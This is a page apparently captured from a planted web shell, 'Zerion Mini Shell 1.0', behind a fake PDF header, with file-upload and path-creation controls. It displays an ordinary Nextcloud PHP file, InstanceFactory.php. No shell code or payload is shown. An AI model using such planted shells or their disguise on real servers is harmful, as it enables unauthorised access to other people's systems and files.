%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/lib/private/Remote/
Upload File :
Create Path :
Current File : /www/varak.net/nextcloud.varak.net/lib/private/Remote/InstanceFactory.php

<?php
/**
 * SPDX-FileCopyrightText: 2017 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */
namespace OC\Remote;

use OCP\Http\Client\IClientService;
use OCP\ICache;
use OCP\Remote\IInstanceFactory;

class InstanceFactory implements IInstanceFactory {
	/** @var ICache */
	private $cache;
	/** @var IClientService */
	private $clientService;

	public function __construct(ICache $cache, IClientService $clientService) {
		$this->cache = $cache;
		$this->clientService = $clientService;
	}

	public function getInstance($url) {
		return new Instance($url, $this->cache, $this->clientService);
	}
}

Zerion Mini Shell 1.0